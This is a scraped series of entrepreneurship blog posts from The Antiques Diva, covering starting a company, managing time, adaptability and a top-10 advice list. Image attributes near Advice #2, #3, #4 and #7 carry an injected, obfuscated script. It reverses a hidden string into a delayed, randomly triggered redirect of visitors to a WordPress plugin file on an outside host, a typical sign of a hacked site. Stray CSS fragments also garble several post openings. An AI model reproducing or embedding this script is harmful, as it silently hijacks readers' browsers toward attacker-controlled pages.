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Entrepreneur Series- Starting a Company

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I get so many people asking me how I started my company. They are usually people who are wanting to start their own business but have doubts, which is totally normal! They have this great idea but aren’t sure about the details and have had others-often well meaning family and friends- tell them it’s too risky. I too had naysayers when starting The Antiques Diva & Co. People thought I was crazy when I told them I was going to start a luxury-based service involving both travel and interior design at the height of the global recession.

Entrepreneur Series- Starting a Company Trust Yourself

 

I originally was writing a series of books about antiquing in Europe, but with the recession of 2008, no one was publishing books. When my book series wasn’t published, naysayers encouraged me to throw in the towel and channel my energies towards more economically viable business models saying, “Forget antiques, design and travel – there’s no money to be made there.” And I ignored them. I learned early on that I had a vision that others couldn’t see. When you own your own company it’s imperative you trust your instincts. That may be one of the best pieces of advice I can give.

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You absolutely should seek advice from experts – but recognize that just because an expert has good advice, it does not mean their advice is applicable for your situation right now. Some pieces of advice I save for later. Others I negate as invalid. Above all else – do not doubt yourself. No one knows your business as well as you do and the surest way towards success is PERSEVERANCE. Gage what you have control over, set a realistic target and then steadfastly walk in the direction of that goal each day. When that goal is met – move the target – and keep going forward.

Entrepreneur Series- Starting a Company Just do it

That leads me to another very important piece of advice for young entrepreneurs. Just do it. A lot of people talk about starting a company – but the only people who succeed in business are those that just do it. Do not wait until you are an expert in your field. Do not wait until you know everything there is to know. Do not wait until you are perfect. Just do it. When it comes to brand evolution, perhaps the most scandalous piece of business advice I can share is this: Do not wait until you’ve got the perfect business plan in place to start your business. Yes, you DO need a business plan. But it doesn’t have to be perfect. A good business plan will evolve over time as you learn more about your market, discover hidden sources of incomes and grow into your service. A successful brand will establish parameters which stay consistent – within which to operate – but it will evolve with the market and economic environment.

By listening to your gut instinct, planning as much as you can, and just doing it, you will be well on the way to starting a business that is as unique as you are. It’s important to listen to the advice of others, but it’s just as important to listen to your own voice and do what you know you need to do.

Gook luck,

The Antiques Diva®

Entrepreneur Series- Strengths and Weaknesses

Dear Diva Readers,

To continue our Entrepreneur Series, I want to talk about something that all aspiring business people should be aware of: their Strengths and Weaknesses.

Entrepreneur Series- Strengths and Weaknesses Examine your Strengths slogan

My Biggest Weakness in both my professional and personal life is Time. We all have the same 24 hours in a day, and it is crucial to identify what you can do well and what you can’t do so well in that time in order to grow a thriving business. Due to a constant travel schedule, time is one thing that seems to always allude me. I have to be aware of what I’m able to accomplish within a 24 hour period and what I need to delegate.

Entrepreneur Series- Strengths and Weaknesses we all have the same 24 hours in a Day

Running a company is a sure-fire way to guarantee you’re sleep deprived. In the beginning I didn’t have the money to hire staff or outsource certain services so I did everything myself. Today even with a team of 18 people, there is still never enough time to complete the tasks that need to be done each day. I spend more than 200 nights per year on the road traveling so managing my schedule takes a lot of prioritizing. And at the end of the day I’ve had to accept that some things simply don’t get done.

I have, however, created a system for organizing my schedule that time-blocks certain tasks so that I maximize my energy mode. For example, administrative tasks, when lumped together in an hour, go faster than if randomly done throughout the day. If I do all my creative tasks at the same time, my brain needs less “warm up” time when starting new projects and I get in the “mode” and am able to work faster. By time-blocking tasks by category – administrative, financial, creative, marketing, follow up/clients contact, etc I’m more productive and am able to get more done during the allotted time.

I’ve also learned to listen to my body in determining my natural rythym and thus work when I am most productive. For me it’s in the early morning hours – I wake daily around 4am and have 4 hours in my office before most people leave to go to work. During those 4 hours I am able to accomplish twice as much work as I’m uninterrupted and have high energy.

Entrepreneur Series- Strengths and Weaknesses Take a Break

And believe it or not – one of the biggest solutions to managing my time crunch – has been learning to take a break. Each morning after my first 4 hours in the office – I go for a walk. Exercise gets the blood flowing and wakes up the brain. I’m able to use this time to process and think through things that need more dedicated time, while doing something healthy. It also enables me to think more creatively about work problems, finding solutions while in that new environment walking in nature or working out with my trainer.

While my company might be called The Antiques Diva® & Co but there is no room for being a diva when it comes to running a successful business. The key to my professional success has been an utter lack of ego. Yep! I catch the irony that I am BRAGGING about lack of ego…. but hey let’s face it – my company name Diva wouldn’t work if we really were divas in the shoe throwing since the word! Lack of Ego as a strength means recognizing it’s NOT all about me. The client comes first. And I dont always have to be right or know the answer – I’m not afraid to admit to myself, an employee, or even a client when I don’t know the answer to their question. While I may not always know the answer – I usually know how to find those who do know the answer – that’s another of my strengths – my global network. We’ve grown as a company because I’ve surrounded myself with experts who strengthen me and my brand. Externally we’ve hired graphic artists, lawyers, accountants, publicists and social media gurus, while internally I’ve hired a slew of people who have different skills, knowledge levels, languages and contacts to serve as our locally based Diva Guides as well as Office Staff.

Entrepreneur Series- Strengths and Weaknesses Just because you can do something slogan

A big realization that has allowed my company to grow is the realization that just because I can do something within my company doesn’t mean I have to be the one doing it or that it is the best place for me to be spending my time. I assess where my time is best spent and prioritize my schedule to align with what yields the greatest results for the company overall. Sometimes this means more time is spent on stage front and center while other times it means I’m stepping behind the scenes spending more time on strategy instead of implementation.

Regardless of what type of company you’re running, it is crucial to understand that time is one of the most valuable assets you have. Learning what you can do (and do well) in a day, and what needs to be outsourced or delegated can really give you an edge when it comes to growing a business.

Go Rock the World.

The Antiques Diva®

Entrepreneur Series Continued – Be Adaptable

Slide1

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>P eople often ask me how I got the idea to start The Antiques Diva & Co….. Did I always want to be involved in the antique industry? Was I always interested in tourism? And was I always a Diva?  While traveling and antiquing have always been my passion – and yes, I was born a diva –  I never actually intended to start a European antiques touring and sourcing company. In fact, you might say that I started my company by accident and then followed that up with a lot of hard work. The reality is that an opportunity presented itself. I recognized the opportunity for what it was and took a chance to do something I never intended to do. You’ve heard the expression, “When one door closes, another opens.” That is the case with how The Antiques Diva & Co came about. I set out to do something completely different and ended up stepping through the door of serendipity. In fact, I sometimes say serendipity slapped me in the face!

My initial idea was to write a series of guide books on where to go antiquing in Europe.  In order to promote the series I started writing a blog in 2007 affectionately titled The Antiques Diva which followed my adventures antiquing and traveling as an American living in Europe. I shared antiquing advice mixed with a heavy dose of diva-lifestyle – the best places for cocktails or high tea, which restaurants to dine, hotels to stay and, of course, where to go for vintage fashion.  After all, a girl can’t live on antiques alone!  When the recession hit, publishers were afraid to invest in a luxury travel antique shopping guide and the project was killed.

I was devastated – but failure turned into opportunity when blog readers started emailing, asking me to take them on antique buying tours.  At first I said “No, I don’t do tours – I’m writing a book” – but when the 3rd potential client emailed, asking for me to provide a service I realized I was an idiot! People were emailing me… asking me to take them antiquing… doing something I would have already been doing in my free time… but for which I was not getting paid!!!  A business was born.  I said “Yes” and took that initial client on tour and it changed my life.

This is what I mean by recognizing opportunity when it knocks. People were literally asking me to offer them a service – to take them on an antique buying tour – before I even realized that there was a need.

Taking a step back and listening to what my readers were asking from me and then custom choreographing a business that met their needs allowed the business to evolve organically.

But a business shouldn’t be stagnant.  It needs to be dynamic.  My business continues to grow and adapt nearly every month.   In fact… if you want to know the secret to our success as a company… we’re Adaptable.

So what’s changed since I started the company?

Firstly –  Our target audience has changed as I’ve better defined our place in the market which means we offer more services for both tourists as well as the trade.  We started out appealing to tourists as those were the initial clients who approached us but within 2 years of being in business I realized our client base had changed and was 75% trade. I adapted our service to fit those needs. That’s been a key component to our success—not getting stuck in a certain mindset that says, “We only do this.”   When I started my business, the recession meant, in theory, that American antique dealers were not buying overseas as much as they had previously – and while this was true, there was an entirely new segment of dealers who had never bought overseas who were trying to differentiate their business and came to me to help them increase their profit margin.

Secondly – The company has grown from a one woman operation, population “me”, to a full on team of 18 team members! We grew and continue to grow each day.  We’re looking to hire in several of our tour countries at this moment and I anticipate my team to reach 25 by early next year.  We’ve not just increased in numbers –  but also in skill sets. My objective as CED (that would be “Chief Executive Diva”) of the company is to hire a team of experts who are more knowledgeable than myself.  If each person who joins our team adds to our skill sets and contact list the company overall profits.

Thirdly – We are looking at ways to diversify our income streams, adding new legs to the business- doing everything from offering sourcing services for shoppers who can’t go on tour – to leading interior design showrooms on inspiration tours for creating their own lines of furniture – to meeting with a furniture manufacturer to discuss launching our own line of furniture.  We’re in discussions on a slew of new business opportunities.  (#WatchThisSpace, #TopSecretDivaNews)  Will ALL of these new ideas stick? Nope. It’s like throwing pasta at a wall… some of the noodles will adhere to the wall while others will fall to the floor.  But we are continuing to listen to what the market is asking from us… and researching ways in which we can meet those needs.

Fourthly – We became our own competitor.  When our competitors started asking to outsource their tours to us – we began offering a white label service where by we can fulfill competing companies tours group tours without cannibalizing our own audience.

If you’re starting a company, my advice would be to steadily take a step back and see if you’re giving customers—and potential customers— what they want. Are people asking you for a service that you’re not currently offering? If not – can you offer it? Are there additional things you can provide customers with that can improve their experience of working with you? Are these areas valuable and profitable to you? Ask yourself lots of questions and be open to trying new things. Growth and change are scary but the only way to improve! Sometimes you just have to take that leap of faith.

DCIM103GOPRO

The Antiques Diva®   

My Top 10 Advice on Becoming a Woman Entrepreneur

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>No matter where I am in the world, I constantly have people coming up to me asking the same question… “How do you do it?!”  They wonder not only how I juggle my slightly insane international travel schedule which has me traveling each month in multiple countries (if not multiple continents); but also how I have rapidly grown my company from being a one-woman brand into a full-on business with nearly 20 employees scattered over 10 countries.

Over the last several years my role within in my company has shifted. In addition to leading antique buying tours and offering personal shopping services, I now manage a team of locally-based “ Diva Guides” who lead tours for me across Europe.  I’m managing a global company that has HR and Accounting demands as well as Marketing needs with a full-on PR machine behind it.   These last several years my role has also shifted to encompass speaking at conferences and design markets – I love sharing my knowledge of European antiques, teaching clients – whether on tour or in one of my seminars – how to source antiques, explaining what to buy and where to buy it and then answering the all important question…. how to get it home.  But here lately the biggest question my clients and attendees of my lectures have asked is for my advice as a woman entrepreneur….  “How do I start my own company? develop my brand? take my business to the next level?  What words of advice – or encouragement – do you have for me  in growing my business/brand?”  They also want to know about that about that all important question of maintaining a work/life balance.  How I organize my time, my to do lists, my company and my life.  I’m passionate about the subject and thus this genre of questions have taken on a life of their own and I’ve decided to announce a new blog series I’ll be posting the first week of each month “On Being a Woman Entrepreneur”.

Advice #1
My first bit of advice I give anyone who asks me about growing their business is to Be Adaptable.  Be Open to Change. Look at what the market is demanding and think outside the box regarding what you and your unique service can be to meet those needs.  Many of my loyal blog readers know my story. I started my blog on antiquing in Europe with an intent to write a couple of books.  What I got in return – an international company operating in 10 countries with 20 employees –  was a million times bigger than my original dream.

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Advice #2
Don’t be afraid to dream a little bigger, darling.  Don’t be so focused on your own goals that you miss an opportunity when serendipity slaps you over the head.   When the recession hit in 2008 and the publishing industry dried up, telling me my luxury-based travel books wouldn’t sell, I didn’t give up my dream of being “The Antiques Diva”.

Top 10 Lists, Women Entrepreneurs, Career advice for starting a business, Building your Brand, From Blog <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Business, Toma Clark Haines, The Antiques Diva, The Secret to Success ” width=”375″ height=”542″ />

Advice #3
Never Give Up.  I continued working on my blog to establish a platform that would establish me as an expert in my industry.  As they say when one door closes, another one opens. Readers of my blog started emailing me asking if I would take them on tour. I said Yes.

Top 10 Lists, Women Entrepreneurs, Career advice for starting a business, Building your Brand, From Blog <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Business, Toma Clark Haines, The Antiques Diva, The Secret to Success ” width=”375″ height=”532″ />

Advice #4
When opportunity strikes – Say Yes.  For me, one “Yes” turned into another and then another and the rest is history – but I have a confession… I was tempted to let self-doubt stand in the way.

Top 10 Lists, Women Entrepreneurs, Career advice for starting a business, Building your Brand, From Blog <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Business, Toma Clark Haines, The Antiques Diva, The Secret to Success ” width=”375″ height=”518″ />

Advice #5
No matter how much you know – you will never know enough.    There will always be reasons to doubt yourself.  When readers first started emailing me asking to take tours – I could have said “I’m not an expert yet”, “I don’t know enough” or “I need more time.”  And in fact – I said all these things to myself. And then I threw myself off a cliff.  Okay, not literally. Figuratively. I said Yes in spite of my self-doubt and that first Yes changed my life. It can be so easy to get caught up in the small details, but remember:  your objective is to grow steadily, not start out perfectly.

Advice # 6
When opportunity strikes do not be afraid to take a chance.  Don’t over-think your decision.  If you wait to start your business until you know everything there is to know about your industry, you are never going to start your business

Advice #7
Screw the business plan.  Yep. This is one piece of business advice no one will tell you.  Do not wait until you’ve got the perfect business plan in place to start your business.  Yes, you DO need a business plan. But it doesn’t have to be perfect.  A good business plan will evolve over time. My business changes, grows and adapts nearly every month – and if you want to know the secret to our success as a company – go back and see Advice #1 – Be Adaptable.  But before you can adapt… you’ve got to get started first.  And from my experience the biggest obstacle people have in starting their own business is they actually never start it! They spend too much time thinking about starting a business and not actually doing it.

Top 10 Lists, Women Entrepreneurs, Career advice for starting a business, Building your Brand, From Blog <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Business, Toma Clark Haines, The Antiques Diva, The Secret to Success ” width=”375″ height=”532″ />

Advice #8
Just Do It.  The best piece of advice I can offer comes from the popular Nike slogan – Just Do It!  The biggest thing that holds people back from achieving their goals the fact that they just don’t do what they say they want to do.  It seems simple, but so often we think we have to be perfect or we have to have a fail-proof plan before we can even begin to take steps toward our dreams.  That simply isn’t the case. You have to start somewhere and even if you don’t have all the knowledge at the beginning, you will learn by experience along the way.

Advice #9
Don’t be afraid to make mistakes.  You will make mistakes.  Accept them. Learn from them. Apologize if you screw up along the way and move on.  The only person who never makes mistakes is someone who never takes chances.

Advice #10
Most goals are reached by taking one step at a time. When people ask “What’s the secret to my success…” the answer is simple… for the last 7 years since starting my company I have continued to put one foot in front of the other.  Every single day I have walked steadfastly in the direction of my goal.  I’ve taken detours along the way,  I’ve even fallen down a few times.  And I changed the destination, making my goal bigger – and my destination further away – than I ever intended when I started out.  But I have never once taken my eyes off my goal – my destination. Between you and me,  I’m still a long way from reaching my destination – but I can see the destination on the horizon… and in the meantime, life’s a journey….

As I close I leave you with one last bonus bit of advice – consider this the extra donut in the baker’s dozen – Start now, Right Where You Are, And Do One Thing To Achieve Your Goal.  And then Do It Again. And Do It Again.  And Just Keep Doing It.

Until next time, may all your dreams come true.

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The Antiques Diva®   

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The Antiques Diva & Co offers custom planned Antiques Buying Tours for tourists and trade professionals. Whether you’re looking to buy one specific piece or wanting to fill an entire container, our personal shopping antique buying guides share their vast knowledge of secret sources to take you to all the right places.

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